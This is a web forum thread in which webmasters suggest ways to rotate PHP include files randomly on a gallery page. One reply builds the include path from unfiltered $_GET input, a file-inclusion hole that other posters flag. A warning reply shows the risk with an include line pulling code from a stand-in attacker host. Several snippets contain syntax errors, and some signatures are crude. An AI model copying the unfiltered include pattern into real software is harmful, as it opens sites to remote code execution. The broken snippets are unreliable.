Question for PHP Coders

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • TheSquealer
    Mayor of Thneedville
    • Oct 2004
    • 26172

    #1

    Question for PHP Coders

    Is there an easy way to rotate php includes on a page?

    For example, say you have an image gallery with a pic, title, description all in css... can you put everything in that css div in a php file (or 10 of them in 10 .php files), use an include and then use something to rotate those php includes.. and so duplicates aren't shown?
    .
    Yes, fewer illegal immigrants working equates to more job opportunities for American citizens.

    Rochard
  • Webmaster Advertising
    So Fucking Banned
    • Sep 2003
    • 1360

    #2
    Maybe use the php date function to include the files?

    Comment

    • woj
      <&(©¿©)&>
      • Jul 2002
      • 47882

      #3
      you are putting title and description in css?
      Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000
      Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager
      Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager

      Comment

      • georgeyw
        58008 53773
        • Jul 2005
        • 9865

        #4
        Originally posted by TheSquealer
        Is there an easy way to rotate php includes on a page?

        For example, say you have an image gallery with a pic, title, description all in css... can you put everything in that css div in a php file (or 10 of them in 10 .php files), use an include and then use something to rotate those php includes.. and so duplicates aren't shown?
        Are you wanting to control which gallery is displayed or simply random?

        yourdomain.com/gallery.php?id=<Gallery ID here ie 3>

        use a

        $id = $_GET to grab the id

        then include 'file'.$id.php

        Better way would be to create a db and call gallerys by their id in the db.
        TripleXPrint on Megan Fox
        "I would STILL suck her pussy until her face caved in. And then blow her up and do it again!"

        Comment

        • Confined
          Registered User
          • Jan 2006
          • 93

          #5
          Originally posted by georgeyw
          Are you wanting to control which gallery is displayed or simply random?

          yourdomain.com/gallery.php?id=<Gallery ID here ie 3>

          use a

          $id = $_GET to grab the id

          then include 'file'.$id.php

          Better way would be to create a db and call gallerys by their id in the db.
          Oh yeah baby! that's a great way to get hacked

          Comment

          • TheSquealer
            Mayor of Thneedville
            • Oct 2004
            • 26172

            #6
            Here is what i wanted... assume there is 5 rows of pictures as an example

            <div class="rowofpictures">
            <div class="pictitle">
            Title of pic
            </div>
            <div class="image1">
            <img src="image-a.jpg" />
            </div>
            <div class="picdescription">
            This is the image description under the image
            </div>
            </div>

            Assume there is 5 of them on a row and i want to put all css for that row into a php file and include it in the page... like row1.php, the second row in row2.php, the third row in row3.php etc.

            <?php include("row1.php"); ?>
            <?php include("row2.php"); ?>
            <?php include("row3.php"); ?>

            Then rotate those rows so at a glance it appears the pages content changed when refreshed or opened later.
            .
            Yes, fewer illegal immigrants working equates to more job opportunities for American citizens.

            Rochard

            Comment

            • woj
              <&(©¿©)&>
              • Jul 2002
              • 47882

              #7
              if you want to invest a few bucks, hit me up icq: 33375924
              or just wait 5 mins, I'm sure some idiot will post the solution for free in the next reply
              Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000
              Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager
              Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager

              Comment

              • georgeyw
                58008 53773
                • Jul 2005
                • 9865

                #8
                Originally posted by Confined
                Oh yeah baby! that's a great way to get hacked
                It was a quick example you fuckstick. Handled correctly GET / POST etc are all safe

                Originally posted by TheSquealer
                Here is what i wanted... assume there is 5 rows of pictures as an example

                <div class="rowofpictures">
                <div class="pictitle">
                Title of pic
                </div>
                <div class="image1">
                <img src="image-a.jpg" />
                </div>
                <div class="picdescription">
                This is the image description under the image
                </div>
                </div>

                Assume there is 5 of them on a row and i want to put all css for that row into a php file and include it in the page... like row1.php, the second row in row2.php, the third row in row3.php etc.

                <?php include("row1.php"); ?>
                <?php include("row2.php"); ?>
                <?php include("row3.php"); ?>

                Then rotate those rows so at a glance it appears the pages content changed when refreshed or opened later.
                Something like this will work - foreach or for to output
                Code:
                <?
                $rowID =  range(1,10);
                
                shuffle($rowID);
                
                //Then output it
                
                for($i=0;$i<sizeof($rowID);$i++)
                {
                	echo 'ROW ID' . $rowID[$i] . '<br>';
                }
                echo '<br>';
                foreach ($rowID as $id) {
                    echo $id . '<br>';
                }
                ?>
                TripleXPrint on Megan Fox
                "I would STILL suck her pussy until her face caved in. And then blow her up and do it again!"

                Comment

                • Overload
                  Confirmed User
                  • Jul 2005
                  • 3185

                  #9
                  lolz ... i love one click updates from a txt file which is pretty easy to achieve ;) no includes needed ... the links/thumbs are parsed from a simple txt file and you can update with one button click ... looks as if one really puts some time into updating but its done in wink of an eye
                  Last edited by Overload; 10-17-2011, 05:29 PM.
                  There aren't enough faces and palms on this planet for an appropriate reaction to religion.

                  Comment

                  • HomerSimpson
                    Too lazy to set a custom title
                    • Sep 2005
                    • 13826

                    #10
                    if you will use only one of those per page

                    Code:
                    <?php
                    $x = rand(0,10);
                    $x = 'file'.$x.'.php';
                    include($x);
                    ?>
                    Make a bank with Chaturbate - the best selling webcam program
                    Ads that can't be block with AdBlockers !!! /// Best paying popup program (Bitcoin payouts) !!!

                    PHP, MySql, Smarty, CodeIgniter, Laravel, WordPress, NATS... fixing stuff, server migrations & optimizations... My ICQ: 27429884 | Email:

                    Comment

                    • raymor
                      Confirmed User
                      • Oct 2002
                      • 3745

                      #11
                      The fastest way to do a "random" include is to base it on the current time- such as
                      $i = time() % 8;
                      include($i.php);

                      Assume that anything in GET POST, COOKIE, etc. is set by a hacker. So this:

                      include ($_REQUEST['id'].php);

                      Is equivalent to:
                      include ('http://hacker.com/fuckmyserverup.php');
                      For historical display only. This information is not current:
                      support&#64;bettercgi.com ICQ 7208627
                      Strongbox - The next generation in site security
                      Throttlebox - The next generation in bandwidth control
                      Clonebox - Backup and disaster recovery on steroids

                      Comment

                      • k0nr4d
                        Confirmed User
                        • Aug 2006
                        • 9231

                        #12
                        PHP Code:
                        $filesArr = array();
                        $filesArr[] = 'blah.php';
                        $filesArr[] = 'blah2.php';
                        $filesArr[] = 'blah3.php';
                        shuffle($filesArr);
                        include($filesArr[0]; 
                        
                        Mechanical Bunny Media
                        Mechbunny Tube Script | Mechbunny Webcam Aggregator Script | Custom Web Development

                        Comment

                        Working...